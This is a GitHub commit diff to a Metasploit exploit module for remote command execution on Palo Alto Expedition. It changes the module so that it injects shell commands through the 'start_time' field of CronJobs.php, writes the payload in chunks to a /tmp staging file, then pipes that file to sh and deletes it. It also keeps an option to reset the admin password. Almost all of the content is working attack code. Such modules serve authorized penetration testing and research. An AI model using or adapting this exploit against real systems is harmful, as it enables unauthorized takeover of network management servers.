Skip to content

Commit

Permalink
Merge pull request #2 from bwatters-r7/collab/pr/19557
Browse files Browse the repository at this point in the history
Stage cmd payloads to a file before executing
  • Loading branch information
h4x-x0r authored Nov 12, 2024
2 parents 661075a + 03928a5 commit a800069
Showing 1 changed file with 53 additions and 94 deletions.
147 changes: 53 additions & 94 deletions modules/exploits/linux/http/paloalto_expedition_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,11 @@ def initialize(info = {})
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1..3),
'FETCH_WRITABLE_DIR' => '/tmp'
},
'Payload' => {
# the vulnerability allows the characters " and \
# but the stager in this module does not
'BadChars' => "\x22\x3a\x3b\x5c" # ":;\
},
'Platform' => %w[unix linux],
'Arch' => [ ARCH_CMD ],
'Targets' => [
Expand Down Expand Up @@ -66,7 +71,8 @@ def initialize(info = {})
OptString.new('USERNAME', [false, 'Username for authentication, if available', 'admin']),
OptString.new('PASSWORD', [false, 'Password for the specified user', 'paloalto']),
OptString.new('TARGETURI', [ true, 'The URI for the Expedition web interface', '/']),
OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false])
OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false]),
OptString.new('WRITABLE_DIR', [ false, 'A writable directory to stage the command', '/tmp/' ]),
]
)
end
Expand Down Expand Up @@ -161,8 +167,38 @@ def check
return CheckCode::Appears
end

def execute_command(cmd, check_res)
name = Rex::Text.rand_text_alpha(4..8)
vprint_status("Running command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
'keep_cookies' => true,
'headers' => {
'Csrftoken' => @xsrf_token_value
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'set',
'type' => 'cron_jobs',
'project' => 'pandb',
'name' => name,
'cron_id' => 1,
'recurrence' => 'Daily',
'start_time' => "\";#{cmd} #"
}
)
if check_res && !res.nil? && res.code != 200 # final execute command does not background for some reason?
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}")
end
end

def exploit
cmd = payload.encoded
chunk_size = rand(25..35)
vprint_status("Command chunk size = #{chunk_size}")
cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)
staging_file = (datastore['WRITABLE_DIR'] + '/' + Rex::Text.rand_text_alpha(3..5)).gsub('//', '/')

if !@reset && !(datastore['USERNAME'] && datastore['PASSWORD'])
unless datastore['RESET_ADMIN_PASSWD']
Expand Down Expand Up @@ -212,102 +248,25 @@ def exploit
data = res.get_json_document
fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{data}") unless data['success'] == true

cmd = cmd.gsub('http://', '').gsub('https://', '').gsub(':', '$(echo Og==|base64 -d)') # ':' breaks the injection if used directly
cmds = cmd.split(';')
cmds.each do |c|
if c.length > 97
print_bad("Command: '#{c}' is too long. Length: #{c.length}. Try to shorten it to 97 or less characters.")
end
# Stage the command to a file
redirector = '>'
chunk_counter = 0
cmd_chunks.each do |chunk|
chunk_counter += 1
vprint_status("Staging chunk #{chunk_counter} of #{cmd_chunks.count}")
write_chunk = "echo -n \"#{chunk}\" #{redirector} #{staging_file}"
execute_command(write_chunk, true)
redirector = '>>'
sleep 1
end

name = Rex::Text.rand_text_alpha(4..8)
vprint_status('Using random name: ' + name)
print_status('Injecting OS command...')

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
'keep_cookies' => true,
'headers' => {
'Csrftoken' => @xsrf_token_value
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'set',
'type' => 'cron_jobs',
'project' => 'pandb',
'name' => name,
'cron_id' => 1,
'recurrence' => 'Daily',
'start_time' => "\";#{cmds[0]} #"
}
)

fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
'keep_cookies' => true,
'headers' => {
'Csrftoken' => @xsrf_token_value
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'set',
'type' => 'cron_jobs',
'project' => 'pandb',
'name' => name,
'cron_id' => 1,
'recurrence' => 'Daily',
'start_time' => "\";#{cmds[1]} #"
}
)

fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
'keep_cookies' => true,
'headers' => {
'Csrftoken' => @xsrf_token_value
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'set',
'type' => 'cron_jobs',
'project' => 'pandb',
'name' => name,
'cron_id' => 1,
'recurrence' => 'Daily',
'start_time' => "\";#{cmds[2].gsub('&', '').gsub(/\s+/, ' ').strip} #"
}
)

fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200

dropper = datastore['FETCH_WRITABLE_DIR'] + '/' + datastore['FETCH_FILENAME']
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
'keep_cookies' => true,
'headers' => {
'Csrftoken' => @xsrf_token_value
},
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'set',
'type' => 'cron_jobs',
'project' => 'pandb',
'name' => name,
'cron_id' => 1,
'recurrence' => 'Daily',
'start_time' => "\";rm #{dropper} #"
}
)
# Once we launch the payload, we don't seem to be able to execute another command,
# even if we try to background the command, so we need to execute and delete in
# the same command.

fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200
print_good('Command staged; command execution requires a timeout and will take a few seconds.')
execute_command("cat #{staging_file} | sh && rm #{staging_file}", false)
sleep 3

print_status('Check thy shell.')
end
Expand Down

0 comments on commit a800069

Please sign in to comment.